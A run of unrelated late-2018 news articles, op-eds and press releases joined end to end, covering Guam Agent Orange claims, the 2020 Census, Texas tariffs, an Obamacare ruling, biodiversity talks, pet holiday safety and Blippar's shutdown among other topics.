doctors in San Antonio with the care that has kept him alive. But he is troubled by the governments refusal to take responsibility for contamination in Guam. The levels of contaminants are some of the highest in the world and the Department of Defense needs to own up to it. I understand the system is taxed, but if we can afford to do so much for so many people, we need to do more for our own, he said. It will fall to the new Congress to determine how soon, and how fully, the government addresses ongoing damage from Agent Orange. Over the years, the VA has awarded service connection - the key to disability benefits -- to fewer than 11,000 veterans who claimed illness from Agent Orange outside of Vietnam and turned down nearly 60,000. As of June 30, 23,400 claims were pending, according to the GAO. Fewer than two dozen Guam veterans are believed to have been awarded benefits. They include Lonnie Kilpatrick, a Florida veteran who prevailed last spring after an eight-year fight when the VA reversed itself a month before he died under pressure from Congress. Guam veterans arent waiting for Congress to act. On December 3, Military-Veterans Advocacy, Inc., a Louisiana-based nonprofit, filed a formal request for rulemaking that will require the VA to determine declare whether Guam veterans as a group should qualify for benefits. The request also covers veterans stationed on contaminated Johnston Island in the Pacific, where Agent Orange drums were stored in the 1970s. Former Navy commander John Wells, a lawyer who filed the request on behalf of veterans, described it as a step in what likely will become a lawsuit against the VA. They may come back and say theres no evidence Agent Orange was used in Guam, Wells said. But theres evidence that herbicides with the same chemical components were used. And thats a distinction without a difference. Every decade, the Census Bureau fulfills its critical, constitutionally mandated mission to count every person living in the United States. As technology becomes ever more complex and we are drawn closer together through social media, the Census Bureau has adapted to the shifting landscape. In fact, the 2020 Census is engineered to be the most robust and technologically advanced census in history. We will spend well over half a billion dollars on marketing, and, for the first time ever, the census will feature an internet self-response option. As the Census Bureau deploys new technology, we are also improving our efforts to connect with people and communities on the ground throughout our country. To succeed in 2020, the Census Bureau will need countless organizations, nonprofits, companies, and government agencies at the federal , state and local levels to communicate a simple message to all Americans: The success of your communities depends on an accurate census. EDITORIAL: Trump's census plan will mess with Texas Our decades-old National Partnership Program will be expanded and will operate as a core element of the next census. I personally am lending a hand by talking with CEOs of major corporations, leaders of national advocacy and nonprofit groups, my fellow Cabinet members, as well as state and local leaders to encourage their engagement in the 2020 Census. Just this year, the Census Bureau has contacted more than 200 national organizations seeking their participation. We have partnership pledges from the NAACP, Telemundo, Hispanic 100, the United Way, the YMCA and the American Library Association. However, we are not resting on these laurels. We are actively seeking thousands of organizations and businesses that will act as ambassadors for the Census Bureaus message. A few weeks ago, I spoke at an event in Washington to promote the National Partnership Program. I hosted Hector Barreto, chairman of The Latino Coalition; Harry Alford, president and CEO of the National Black Chamber of Commerce, and Chiling Tong, president and CEO of the Asian/Pacific Islander American Chamber of Commerce and Entrepreneurship, to promote the Partnership Program. We are delighted to have the support of leaders like Hector, Harry and Chiling lending us their trusted voices. In addition, the Census Bureau is hiring more in-house partnership specialists than it has ever enlisted for a decennial census. These individuals are being selected locally for their knowledge and ability to work with hard-to-count populations. Currently, the Census Bureau has hired nearly 200 partnership specialists. At the height of the 2020 Decennial Census, we expect to have more than 1,500 partnership specialists working simultaneously across the country, far more than the 849 who were working during the peak of the 2010 Census. The Census Bureau will also be providing materials in more languages than ever before. The online response forms will be available in 13 languages. Our enumerators those individuals who reach out directly to residents will have access to 59 different language guides. All these efforts and the work of our national partners will help make the importance of the 2020 Census clear to everyone. Moreover, they will help us to amplify the message that the data shared with the Census Bureau is safe, strictly confidential, and only used for statistical purposes. This strict confidentiality is enshrined in law; the Census Bureau cannot share personal information with any other government or law enforcement agency, and any employee who breaks this law faces steep fines and jail time. But the Census Bureau can and will make extensive use of administrative records from other agencies to improve the accuracy and completeness of the 2020 Census. Our recent dry run of the 2020 Census, the 2018 End-to-End Census Test held in Providence, Rhode Island, was a great success. We examined all major operational systems that the Census Bureau will rely on in 2020. The systems performed as designed, and self-response rates beat the Census Bureaus own initial estimate. Because of the anticipated popularity of internet self-response, cybersecurity is of the utmost concern to us. We know that we cannot afford to have any type of security breach. As such, we are investing heavily in data-protection systems and collaborating with the Federal governments top cybersecurity agencies and leading industry cyber experts. We have designed our systems to ensure that respondents data is encrypted from the time it is collected through when it is securely stored. We have spent years preparing for the 2020 Census, from carefully designing our cybersecurity systems to testing our many technological advancements and now enlisting corporate and nonprofit partners. We are on budget and on schedule to deliver every aspect of the 2020 Census. For 2020, our goal is as accurate a count of every person living in the United States as possible. Recent news reports have praised the Houston areas rising graduation rates, with most large districts in the area now boasting graduation rates greater than 90 percent. An exception to this trend is Houston ISD, where the most recent Department of Education numbers put the graduation rate at 78 percent, within one percentage point of where it was five years ago. Yet as administrators work to ensure that students learn more and stay in school, they must not cut corners. We raise this concern because, as the co-authors of a new national report , we find that Houston ISD is relying much too heavily on so-called credit recovery programs which, by design, were developed to help students graduate. These programs enable high schoolers to gain missing credits after initially failing a required course. They are intended to be an alternative for students to demonstrate mastery of the same content and skills as the original course. But across the country, anecdotal evidence is mounting that, although credit recovery may allow kids to recover credits needed for graduating, it often delivers little in terms of actual learning. In some of these programs, students simply click through online tests, google the answers, or even pay strangers on Twitter to complete the courses for them. Its little surprise, then, that research has found some credit recovery programs to be less effective than traditional classroom instruction. Our report found that more than two-thirds of high schools across the country have credit recovery programs. But the number of students enrolled in them varies substantially, with nearly 1 in 10 high schools in the U.S. enrolling more than 20 percent of students. Yet, high school students in Houston ISD are more than twice as likely to enroll in credit recovery than the average American pupil. The districts 32 credit recovery programs enroll 16.2 percent of all high schoolers double the national average of 8.1 percent. Moreover, nearly a third of those schools rely so heavily on credit recovery that at least 20 percent of their students are enrolled. Compare these figures to the much lower rates for Texas as a whole. Overall, 10.2 percent of Texas high schoolers in schools with credit recovery are enrolled in the programs, and 10.1 percent of schools statewide with the programs enroll high percentages of their student body. These results should raise flags for educators and policymakers in Houston. Thankfully, theres no time like the present to make sure that high schools are not abusing credit recovery programs. To begin, state officials should vet the quality of credit recovery providers and offer guidelines for how to effectively run such programs. For instance, high schools with high rates of students participating in credit recovery warrant scrutiny, such as automatic audits of these outliers. Next, schools should require students to pass an external test to ensure that they have learned the material. In the absence of this external check on quality, Texas officials should adopt the ounce of prevention rule. For example, they might stipulate, as Alabama and Tennessee do, that students achieve a minimum score in the original course so that they arent starting from scratch with new material. And if they dont reach that minimum, require them to retake the traditional course to earn credit. If a high school diploma is to be more than a certificate of attendance, state and local officials must take responsibility for how schools award credit. Cutting corners by enrolling more and more students into credit recovery programs is not the answer. Houston ISD can do better. Tyner and Munyan-Penney are associate director of research and development and research associate, respectively, at the Thomas B. Fordham Institute, a non-profit education think tank located in Washington, D.C. They are co-authors of Gotta Give Em Credit: State and District Variation in Credit Recovery Participation Rates, which was released in November. Earlier this month, President Donald Trump and Chinese President Xi Jinping declared a 90-day truce in a mounting trade war that has seen both sides impose tariffs on a wide range of goods. Because import tariffs are basically a tax on U.S. companies, American-made products have become more expensive for domestic consumers while becoming less competitive in the global marketplace. Americans are already paying higher prices for washing machines, electronics and many other appliances while U.S. manufacturers are paying more for steel, aluminum and semiconductors. With growth in both countries slowing and financial markets skittish throughout the world, most economists believe further escalation of the U.S.-China trade spat will inflict serious harm to both countries and could well precipitate a global recession. Texas has much at stake. In 2017, exports from Texas exceeded $264 million, an amount equivalent to 16 percent of gross state product and more than California and New York combined. China is the states No. 2 trading partner after Mexico, with two-way trade of more than $59 billion last year. According to a recent analysis by the Heartland Institute, a conservative, public policy think tank, Texas companies are now paying about $424 million in tariffs each month, a 163 percent increase over a year ago. The states energy sector is especially vulnerable, with more than 583,000 energy workers 18 percent of the nations total located in Texas. The 25 percent tariff on steel imports, along with the 10 percent rate on aluminum, is hitting hard at all segments of Texas energy industry. According to U.S. Census data, Texas accounted for more than $8.3 billion in steel and aluminum imports last year, twice as much as any other state. Many of these imports are used for pipelines, drilling rigs, refineries, gas liquefaction and petrochemical plants. Because steel accounts for such a huge share of drilling expenses, the cost of well completions has jumped an average of 10 percent in recent months. With oil prices 30 percent lower than they were last summer, higher steel prices are boosting break-even costs while reducing cash flow for most drillers in the Permian and Eagle Ford shale plays. Six months ago, China was the No. 2 purchaser of Texas oil exports, buying an average of 350,000 barrels per day. But since August, oil shipments to China have been close to zero. A year ago, China was the No. 3 buyer of Texas liquefied natural gas. In response to the Trump tariffs imposed in September, China immediately retaliated with a 10 percent tariff on LNG imports and has purchased virtually no gas from the U.S. in recent months. ExxonMobil has stated that increased costs from steel tariffs may affect plans to add a crude oil distillation unit at its Baytown refinery, while the CEO of Plains All American Pipeline, which transports crude oil from the Permian Basin to the Gulf Coast, has expressed concerns about escalating costs for $1.5 billion in steel-intensive pipeline projects currently underway or planned. Other sectors of the Texas economy are also paying the price of higher tariffs. For example, Toyota Motor Corp. , which recently relocated its North American headquarters from California to Texas and assembles 200,000 pickups annually at its plant near San Antonio, has predicted higher prices for cars and trucks as a result of higher tariffs on steel and aluminum. In 2017, U.S. farmers and ranchers recorded $141 billion in foreign agricultural sales, the third highest on record. According to the U.S. Department of Agriculture, these exports generated 20 percent of U.S. farm income and supported more than a million American workers. At $22 billion in sales, China was the largest purchaser of U.S. farm exports last year. As the No. 3 state for agricultural exports, Texas farmers are feeling the brunt of higher Chinese tariffs on cotton, corn and sorghum. Nearly half of U.S. cotton exported to China comes from Texas while the state accounts for more than 25 percent of Americas sorghum exports to China. Not surprisingly, Chinas new 179 percent tariff on sorghum from the U.S. has put a halt to Texas exports. Texas is home to four major ports for waterborne commerce: Houston, Corpus Christi, Galveston and Beaumont. They all stand to be adversely affected if trade conflicts escalate further. With its export-oriented economy, Texas has the most to gain from a resolution of the ongoing trade disputes with China and other countries. One way or another, compromises must be found that can avert a global trade war and the serious economic consequences that would follow. Weinstein is associate director of the Maguire Energy Institute and an adjunct professor of business economics in the Cox School of Business at Southern Methodist University. Theres no official text book on how to be a former president. For the late George Bush, skydiving got the headlines. But there is another less known contribution he made to our country. He helped fix a broken law. As president, Bush saw that people with disabilities were being marginalized, excluded and discriminated against, and there was nothing they could do. So he willed Congress to act. The result: the Americans With Disabilities Act. On July 26, 1990, Bush signed the new law with this proclamation: Let the shameful wall of exclusion finally come tumbling down. The walls didnt tumble down. Instead, the act became a catch-22 game of gotcha. Courts started throwing out cases if a person with a disability had done well in overcoming the effects of their impairments, declaring people had no disability when they obviously did. Journalist John Hockenberry, who has a spinal cord injury, famously asked if he could throw away his wheelchair if, according to the Supreme Court, he had no disability under the law. Bush was in retirement as these bad decisions kept coming, but he didnt hide his views. In fact, he became involved in filing friend of the court briefs in court cases. He wrote passionately about protecting the rights of people with disabilities, even those who were prisoners. The courts didnt listen, though. So, he was faced with a challenge: how to make things better. There were those who feared that changing the law could make things worse. The result might even weaken the ADA. Nevertheless, the rainbow of disability rights organizations and health groups rallied together to amend the law so that the courts could no longer punish people for overcoming their disabilities. In doing so, the disability rights community replicated what Bush had done in 1990 they worked together. Yes, there was some opposition, but thanks to the unified effort of the senior statesman of disability rights, President George H. W. Bush, the opposition fizzled and the amendments to the ADA passed virtually unanimously in 2008. The message had been sent to those who would oppose the amendments: Get out of our way, because its going to the presidents desk for his signature. When President George W. Bush signed the bill the only civil rights bill of his eight-year presidency his father was standing at his side. Thanks to those changes, people with diabetes, cancer and epilepsy are now covered by the ADA. People whove lost a limb need not worry that they have lived too good a life to be protected from discrimination or barriers. Even veterans with service dogs are protected, thanks to Bushs advocacy. Only three years ago, a San Antonio jury became the first in the country to say that service dogs can be helpful accommodations for workers with disabilities. Progress. So, it was all too appropriate that Bush teamed up with a trained service dog named Sully to help him through the twilight of his life. Around the United States, there are thousands of people involved in the fight for disability rights who never would have been a part of the diverse quilt of advocates but for one man who cared. When we face challenges in the future, one of the best questions to ask is what George H. W. Bush would do, and then do it with gusto. Griffin, a Victoria lawyer, is a member of the Texas Diabetes Council and former chair of the board of the American Diabetes Association. Were coming up on the ninth anniversary of the Affordable Care Acts passage, and its safe to say that Obamacare hasnt quite turned out as expected. The program isnt much like what its architects wanted; the insurance covers fewer people, with less-generous benefits, and higher premiums, than originally envisioned. But it also isnt as dire as critics predicted. Though exchange enrollment seems to be declining, its on a gentle downward slope rather than the catastrophic death spiral that opponents were hoping for. Obamacare may well have reached the kind of perfect mediocrity to which Washington provides eternal safe harbor: not really doing what it was supposed to, but too complicated to fix and not quite bad enough to repeal outright. But Republicans, despite having chickened out of actually repealing the thing, are not quite ready to admit theyre licked. Republican attorneys general and governors from 20 states are suing (yet again!) to overturn the law. On Friday, a federal judge in Texas obliged them. Reed OConnor, an appointee of President George W. Bush, ruled that since the 2017 tax law has gutted enforcement of Obamacares mandate on citizens to buy insurance, it is no longer constitutional under the taxing power. And since the programs architects predicated it on the mandate, OConnor said, the entire law must be struck down. To be blunt, this isnt a good ruling. Theres a reasonable legal argument that a tax that raises no money isnt really much of a tax. But neither policy nor legal precedent requires the court to strike down the rest of the law. While its true that Obamacares architects thought the mandate essential, nine years in, their faith seems misplaced. The mandate was supposed to force healthy people into the insurance market, preventing prices from spinning out of control. But Obamacares mandate enforcement proved too weak to be very effective, which is one reason fewer people than expected are being covered. The people who are buying insurance seem to be motivated by other parts of the law, such as the subsidized tax credits, not by the mandate. Of course, arguably what matters here are Congresss intentions, not its ability to see the future. But even by that logic, OConnors ruling is flawed, because it considers only the intent of the Congress that passed the program in 2010; the ruling ignores the intent of the 2017 Congress that repealed the tax penalty and presumably could have repealed the whole law if members wanted to. Even many of the laws opponents are dubious about the judges reasoning. Jonathan Adler, a Case Western Reserve University law professor who helped craft an earlier lawsuit challenging Obamacare, called the ruling an exercise of raw judicial power, unmoored from the relevant doctrines in an op-ed for the New York Times co-written with Abbe R. Gluck. Adler expects it to be overturned by a higher court in fairly short order. If Adler is right, and I think he is, Republicans are going to have to decide how long theyre willing to fight this rear-guard action. There is clearly no real path to getting rid of the law either legislatively or judicially. At some point, theyre going to have to acknowledge that Obamacare is here to stay, and make peace with it as best they can. They dont have to like it. I thought Obamacare was a bad law in 2010, and the intervening years havent improved my opinion. It did little to address the biggest problems with the American health-care system, and a great deal to complicate an already disastrously complex and fragile market. I would have been pleased to see it defeated in Congress, or in earlier court battles. But Obamacare is now part of the system. Markets have been rebuilt around it; voters have gotten used to it; the Supreme Court seems unwilling to strike it down. Republicans actions are starting to look less like Horatius at the bridge and more like Don Quixote at the windmills. Battling windmills isnt merely pointless but also diverts your attention from things worth doing. Obamacare is still a badly flawed program that needs fixing; the American health-care system remains overpriced, overcomplicated and overregulated. Republicans could help the country, and themselves, if all the time and thought they pour into lawsuits were devoted to coming up with simpler, more market-friendly alternatives to todays Rube Goldberg policy contraption. Alternatively, of course, they could keep on doing what theyre doing, ensuring that they waste a full decade on their fruitless quest. McArdle is a columnist for The Washington Post. James Nielsen, Staff / Houston Chronicle The ascendancy of Texas Democrats in 2018 - knocking off Republicans in legislative races and making statewide races more competitive than they've been in decades - will no doubt set the tone for 2019 Legislature. At this time two years ago, Republican leadership was focused on a Convention of States to rewrite the U.S. Constitution, a "sanctuary cities" ban, and restrictions for use of public restrooms. Now, public school funding and property taxes are at center stage. As an existing print subscriber it is easy to get FREE access to all our online content. When you click get started below it will walk you through creating an online account to attach your print subscription number to. After your account is created it will ask you to either add a subscription for online access or click on the print subscriber button. Click the print subscriber button header and it will open a dropdown, now click on get started. The page will reload and you will be prompted to enter an account number and a zip code. IT IS VERY IMPORTANT TO USE THE NUMBER OFF OF THE MOST RECENT ISSUE OR ANYTHING AFTER JANUARY 28, 2019 TO GAIN ACCESS! OLD ACCOUNT NUMBERS WILL NOT WORK The account number and zip code are easily available on your most recent issue of the High Plains Journal or Midwest Ag Journal in the address fields as is shown here. Sometimes the account number has extra zero's in front of it, just ignore those. Setting a course for Beijing: the hopes and fears after the COP 14 on biodiversity December 17,2018 | Source: IDDRI The 14th Conference of the Parties (COP) to the Convention on Biological Diversity (CBD), which finished on 29th November in Sharm El Sheikh (Egypt), was the last one before 2020. COP 15, to be held in Beijing, China, will be a significant milestone in the history of international biodiversity governance. It should provide an opportunity to take note of the successes and challenges of the international biodiversity processes, and especially to establish the foundations of a new architecture that will facilitate a better contribution to the deep socioeconomic transformations necessary to slow down biodiversity erosion. A real race against the clock is starting right now, because theres only two years after Sharm El Sheikh until the Beijing conference, at which an agreement involving 196 states will have to be found. While COP 14 carried out the necessary groundwork for progress, it is now time to speed up the process, and mobilization beyond the negotiations will be crucial. This is particularly important because COP 14 also revealed, if there were any doubts, that tensions remain very present in biodiversity governance. As anticipated, the COP 14 agenda was packed. It included both thematic issues (the alignment of climate and biodiversity policies, and the launch of an action plan for pollinators, for example) and topics that were more strategic for the conventions future, in particular the opening of negotiations for the upcoming post-2020 global framework for biodiversity. This framework will replace the current strategic plan that was adopted in 2010 and ends in 2020, a plan that we already know has had very mixed outcomes: in the last two decades, despite efforts throughout the world, biodiversity has continued to strongly decline in all of the worlds regions and for all ecosystem types (terrestrial, aquatic and marine). In this context, doing better than before therefore involves finding out how a post-2020 framework could constitute, while not pretending that it is capable of solving everything, an improved contribution to the socio-economic transformations necessary for biodiversity preservation. The CBD has long recognized the importance of these issues, but associated decisions are made elsewhere in sectoral arenas (trade, high seas, climate, development policies, etc.). Biodiversity actors must therefore be able to challenge these arenas and find allies, points of convergence, and levers of change within them. This ambition can be found, quite explicitly, in the documents drafted by the CBD Secretariat that describe the CBDs objective to stimulate a transformative change in favour of biodiversity. Theme(s): Others. The International Federation of Journalists (IFJ) joins its Italian affiliate, the FNSI, in demanding justice for the murder of Pakistani journalist Saleem Shahzad, a correspondent for the Italian news agency Adnkronos (AKI) who was brutally killed in 2011. Saleem Shahzad was a Pakistani investigative journalist who worked extensively for European and Asian media. Since 2004 he worked as correspondent for the Italian news agency Adnkronos (AKI) and was also the Bureau Chief of the Asia Times Online (Hong Kong) and contributor to Italian and French newspapers La Stampa and Le Monde Diplomatique. On 29th May 2011, Shahzad was kidnapped in Islamabad, two days after the publication of one of his article on a terrorist attack against a navy base and right after finishing editing his book about terrorist organizations Al-Qaeda and the Taliban. Shahzad had pointed out links between Pakistani navy officers and Al-Qaeda. His dead body was found two days later, on 31st May 2011, in a canal near Sara and Alamgir, about 150 kilometers from Islamabad. US intelligence services held the Pakistani intelligence services (ISI) responsible for the ''barbaric and unacceptable'' murder. According to Shahzads friends and colleagues, the ISI had threatened the journalist at least three times before his death. However, the ISI have always denied any involvement in the killing. A short time after his murder, a judicial commission was opened to investigate the journalist's death. Since then the perpetrators have not been identified nor brought to justice. In recent weeks, the AKI launched together with Shahzads wife Anita a campaign to honour the journalists work and bring his story back into the spotlight. This appeal has been supported by the Italian union FNSI as well as many journalists, historian Franco Cardini, the president of the Human Rights Commission of Pakistan, Zohra Yusuf, the President of European Parliament, Antonio Tajani, and other political figures. In recent weeks, AKI has also sent to the Pakistani Human Rights Minister, Shireen Mazari, a demand for the opening of a new investigation into the journalists death. So far, no answer has been received from Islamabad. The Pakistani embassy in Rome answered, agreeing to meet a representative of the news agency. Anthony Bellanger, General Secretary of the IFJ said : The IFJ and its Italian affiliate the FNSI support this campaign led by news agency Adnkronos (AKI) to end impunity around Saleem Shahzads killing. We will continue to fight for the truth and ask to bring the perpetrators to justice. A full investigation must be opened now. Imperial Valley News Center Language, Regional Expertise and Culture Mobile App Refreshed, Encompasses 59 Countries Pensacola, Florida - The Center for Information Warfare Training's (CIWT) Language, Regional Expertise and Culture (LREC) directorate released a new version of its Navy Global Deployer application for mobile devices, December 18. LREC continues to offer valuable resources for Navy personnel and their families as part of the Ready, Relevant Learning initiatives of Sailor 2025 by delivering the right training at the right time, in the right place and in the right format for Sailors. For 59 world cultures, the app provides useful information on topics like language, history, geography, people, ethnic groups, religious institutions and societal norms, as well as culturally appropriate behavior and etiquette. With a small initial download, users receive access to culture and language-specific content which can be downloaded and then deleted after use, making room on a device for other content. This version of the application adds Every Deployment a Global Engagement (EDGE) courses. EDGE prepares Sailors, family members and others for assignments in the overseas fleet concentration areas of Bahrain, Italy, Japan, South Korea and Spain. This updated version also includes the EDGE Basic Cross-Cultural Competence (B3C) and Culture Shock courses and EDGE videos for the strategically-important countries of China, Iran and Russia. A short snippet of an example video can be found here: https://www.facebook.com/NavyCIWT/videos/1976224415800589/. These courses are intended to train personnel to recognize culturally-driven behaviors and social norms unique to a foreign culture and to shape learners attitudes and behaviors to promote international good will and understanding. The courses also reinforce the Navys core values and their applicability to duty overseas. They are now available on Navy e-Learning and are currently being added to Navy e-Learning Afloat. Country-specific information in the app is divided into the following sections: 1. Navy EDGE - For Bahrain, Italy, Japan, South Korea, Spain, China, Iran, and Russia. 2. Culture Orientation The Operational Cultural Awareness Training (OCAT) presentation, or a similar narrated presentation. 3. Culture Card Mobile-friendly and printable quick-reference guides covering various aspects of each countrys history, language and culture. 4. Etiquette Guide Information on everything from meeting and greeting to cultural values to the significance of common nonverbal gestures. 5. Language Phrases Useful common phrases with audio recordings to assist with pronunciation. 6. Language Guide A library of links to free online learning resources for more than 100 languages. Other sections of the app include general resources available to the user, emergency resources, and a favorites section that allows users to bookmark and easily access parts of the app they find personally important. The app offers Sailors, civilian employees and their family members an opportunity to learn a little about foreign countries they may visit or be stationed in, said Jim Murphy, app development lead with LREC. As an on-demand language and culture learning tool, our app helps prepare Navy personnel for living, visiting and working overseas." These courses satisfy standing orders to maintain cultural awareness. Commanding officers may use EDGE to ensure their crews maintain cultural awareness, which improves unit and personnel readiness and operational outcomes. "When combined with country-specific curriculum, this continuum of learning prepares Sailors and civilian employees for successful overseas tours," said Chris Wise, director of LREC. "It also improves personal and command cultural readiness, helps the Navy build effective relationships with strategic partners, and reduces the confusion and insecurity that may accompany an assignment in a foreign culture." The app is available for download from the iTunes and Google Play online stores. To find the free app, search key words such as "CLREC" and "Navy global deployer" in the app stores or a web browser. Sailors can also find this app and many other Navy apps at https://www.applocker.navy.mil. The U.S. Navy Sea Warrior Program (PMW 240) produced the app and Tracen Technologies Inc., a company that specializes in integrated mobile and web solutions, was the software developer. The Navy's LREC office delivers foreign language instruction and training on foreign cultures to prepare Navy personnel for global engagements to strengthen ties with enduring allies, cultivate relationships with emerging partners, thwart adversaries, and defeat enemies. Part of the Center for Information Warfare Training, LREC directorate is located on board Naval Air Station Pensacola Corry Station. Imperial Valley News Center Tips to have a pawsitively safe holiday West Lafayette, Indiana - As the holiday season reaches its peak, so do the potential hazards for pets. Dr. Suma Rao, Purdue Veterinary Medicine clinical assistant professor of small animal community practice in the Department of Veterinary Clinical Sciences, provides the following tips on how to keep pets safe during the holidays. Holiday Plants Several types of holiday plants can be poisonous to animals. Poinsettia plants, mistletoe, holly, and Christmas cactus are toxic to animals when ingested, Rao says. For pet owners who choose to decorate with a live Christmas tree, Rao says that Christmas tree water is toxic when fertilizer is used. Decorations Tinsel and ribbon are tempting play objects for cats, but Rao warns they can cause a blockage if ingested. Lighted candles around the house can be knocked over by pets and pose a fire hazard. Dogs and cats are often tempted to chew on electrical cords, which can cause burns, seizures, and even death. Food Rao reminds pet owners, Chocolate, especially dark chocolate, is toxic to animals. She also points out that Macadamia nuts can cause renal disease in dogs, and sugar-free products containing xylitol are toxic to animals. Another area of caution is fatty foods or bones. They can cause gastroenteritis, pancreatitis, and/or blockages, Rao says. Environment Rao says salt on roads and sidewalks can be caustic to pets paw pads. Be sure to wipe their feet after a walk. Stress: Holidays can be stressful to pets due to the high volume of visitors, loud noises, and parties, Rao says. Try to keep your pets daily routine as close to normal as possible. Let them do their normal activities that they are used to in order to help reduce stress. With the help of these tips, Rao says, both people and pets can enjoy a safe and enjoyable holiday season. If a pet does get sick or injured during the holidays, the Purdue University Veterinary Teaching Hospitals animal emergency service is available 24 hours a day, 365 days a year. For emergencies, call 765-494-1107. Sharara Oil Field in Libya Washington, DC - The United States continues to monitor the situation at the Sharara oil field and echoes the UN Support Mission for Libyas call for the immediate and unconditional withdrawal of armed elements in the area, which is crucial to allow oil production for the benefit of all Libyans to resume. We call on all parties to resolve issues through constructive dialogue and peaceful means in the spirit of compromise, rather than through threats of violence. Libyan oil facilities, production, and revenues belong to the Libyan people. The National Oil Corporation and all sovereign state institutions must be allowed to work on behalf of all Libyans, free of threat and intimidation. Libyas oil resources must remain under the exclusive control of the legitimate National Oil Corporation and the sole oversight of the Government of National Accord, as outlined in UN Security Council Resolutions 2259 (2015), 2278 (2016), and 2362 (2017). We understand the economic challenges facing many citizens, particularly in the southern region. The United States stands in solidarity with Libyan leaders and urges their continued effort to improve fiscal transparency, strengthen economic institutions, enhance security, and ensure just distribution of the countrys resources, within the framework of the Libyan Political Agreement and the Plan of Action formulated by UN Special Representative of the Secretary-General Ghassan Salame. Deputy Secretary of State Sullivan's Meeting With Macedonian President Ivanov Washington, DC - Yesterday, in Skopje, Deputy Secretary of State John J. Sullivan reaffirmed with President Gjorge Ivanov the United States continued support of the landmark Prespa Agreement. The two also agreed on the need to implement key reforms required by NATO and the EU, including crucial judiciary reforms. Despite recent stock market turmoil, everywhere you looked this year someone was heralding the strength of the economy, which grew at 3.5 percent in the third quarter. However, not all economic growth favors small businesses, and some even detracts from it. The Inc. Entrepreneurship Index, which measures the quarterly health of the U.S. startup economy, currently sits at 83 out of 100 for the third quarter of 2018. This is down two points from the second quarter and a full nine points from the first quarter of 2017, when our Index peaked. Our indicator sees one factor in particular still dragging like an anchor on the startup economy: job growth. Even though overall economic conditions have been largely favorable, small businesses have hit a growth ceiling as larger companies--bolstered by generally strong market conditions, favorable tax policies, support from local governments, and easing federal regulations--have been gobbling up talent. This is why, for the past year, the Index has shown a startup economy that is strong but slowing. The over-the-year job growth rate for small businesses dropped from almost 4 percent in the first quarter of 2017 to 2.5 percent in the third quarter of 2018. (In Q3, headcount growth--that is, the number of jobs added by small and medium-size businesses--declined for every region in the U.S., except for the West.) In fact, job growth by small businesses is the lowest it's been since early 2008. This can in part be attributed to our location in economic cycles. Late in an economic cycle, as we are now, small businesses predictably tend to create fewer jobs relative to large businesses. This is occurring now in this cycle for the following two reasons. A People Problem One, talent is quitting small businesses at higher rates than employees are leaving larger firms. Data from the Bureau of Labor Statistics shows that small businesses (10 to 50 employees) saw an average of 2.8 percent of their employees quit between January and August of 2018. Meanwhile, establishments with 1,000 to 5,000 employees lost talent at a rate of about 2.1 percent, and businesses with more than 5,000 employees had a quitting rate of just 1 percent. Moreover, Bank of America's biannual Small Business Owner Report states that 24 percent of small-business owners have lost at least one employee this year, while roughly 10 percent of the field lost 10 percent or more of their entire workforce. It's far harder for a company of 20 souls to lose one or two key staffers than it is for a company of several thousand to shed 50 people. Two, small businesses are having a harder time hiring. Twenty-two percent of small-business owners cited the difficulty of finding qualified workers as their single most important business problem, and almost four out of every 10 small businesses have at least one unfilled opening. That's the highest level for this metric in the past decade. According to Bank of America's report, plans to hire are up more than 10 percentage points from last fall, even as 58 percent of business owners report difficulty finding qualified candidates. Ostensibly, small businesses' loss has been big businesses' gain: People have been flocking to the greater security bigger companies can provide, and hiring has become more difficult for small businesses as a result. Losing more talent than their much larger counterparts while having to work harder to attract new talent, small businesses feel the headcount crunch from both sides. Competition from big businesses has become a major concern, according to a recently surveyed sample of the 200,000 monthly users of work platform Thumbtack.com. To win attention, small businesses have employed a series of new strategies, from becoming more creative with flexible office culture to upgrading their social media appearances. Despite the slowdown in job creation, small-business owners are experiencing record high levels of optimism, and their wages continue to grow, as the Inc. Entrepreneurship Index shows. When founders have more work coming their way than their companies can handle, they tend to see this as a windfall, especially when they have increasing access to capital. When coffers are full, it's hard for business owners to mourn the loss of work they don't have for want of a larger payroll. (Also, if the prediction of a looming recession proves accurate, no companies will mind having fewer salaries to pay.) The Downstream Effect However, when startups fail to scale, the impacts are felt downstream and most often at the local level. Younger or smaller businesses consistently provide an opportunity for people at the margins of the labor force. A younger company or a smaller business is more likely than a big business to take a chance on employees with nontraditional backgrounds, including younger people, workers with gaps in their resume?s, and those lacking educational credentials. This creates a ladder for fringe employees to gain the skills and experience necessary to travel throughout the workforce and grow their careers. Williams-Sonoma has an Amazon problem, so it's taking the company to court to solve it. Last week, the San Francisco-based home goods retailer filed a lawsuit accusing Amazon of both selling counterfeit products on its platform and copying Williams-Sonoma's proprietary designs for its own private label brand, The Washington Post reports. While it is third-party retailers who allegedly sell counterfeit products on Amazon--a problem the company has dodged by citing its role simply as a middleman between buyer and seller--Amazon is actively marketing counterfeit goods as "by Williams-Sonoma," the lawsuit alleges. Williams-Sonoma also alleges Amazon copied two of its chair designs, the "Orb" and the "Slope." "To protect the integrity of its brand, [Williams-Sonoma] does not license [its brand] in connection with online retail services," reads the complaint, adding that the way Williams-Sonoma's products are advertised on Amazon's platform creates "a strong impression of affiliation between the two" when there is none. Amazon declined to comment. Williams-Sonoma did not immediately respond to a request for comment. Williams-Sonoma is asking Amazon to pay $2 million per counterfeit item in statutory damages, legal fees, and damages for trademark infringement and disgorgement of profits in an amount to be determined by the court. The home goods retailer alleges Amazon's actions may cause consumers to associate the Williams-Sonoma brand with "overpriced, low-quality or potentially unsafe goods or services." Blippar, which shut down this week, was easily one of the most ambitious startups I've ever covered. Ambarish Mitra, Blippar's garrulous co-founder and CEO, told me his augmented-reality app had a good chance of becoming the operating system used by "90 percent of all optics-based wearable devices." When I interviewed him in December 2016 for Inc., he said the company, soon to be valued at more than $1 billion by its investors, was a year away from having a machine-learning-driven "knowledge graph" that contained more than 20 billion pieces of information. A user would be able to point his or her phone at any item nearby and not only identify it but, as often as not, buy it, right there in the app. To my knowledge, none of that ever came to pass. Maybe the billion-dollar-valuation part, but even that's in dispute. Even though Blippar competed frontally with Google, Microsoft, and Snap, which all had augmented reality products, Mitra claimed they were the underdogs, since Blippar had been at it longer and had the advantage of a singular focus. When he acknowledged the largeness of the challenge -- "You're basically building a superhuman brain driven by human-level cognition, and which has the entire knowledge repository of the whole world" -- it felt like preemptive self-congratulations for succeeding at it. Blippar's success did not seem like an obvious foregone conclusion, though. "[E]ven if the age of AR is upon us," I wrote in a profile that appeared in print in Inc. in March 2017, "there's a whiff of magical thinking to Mitra's belief that his startup, which is still losing tens of millions of 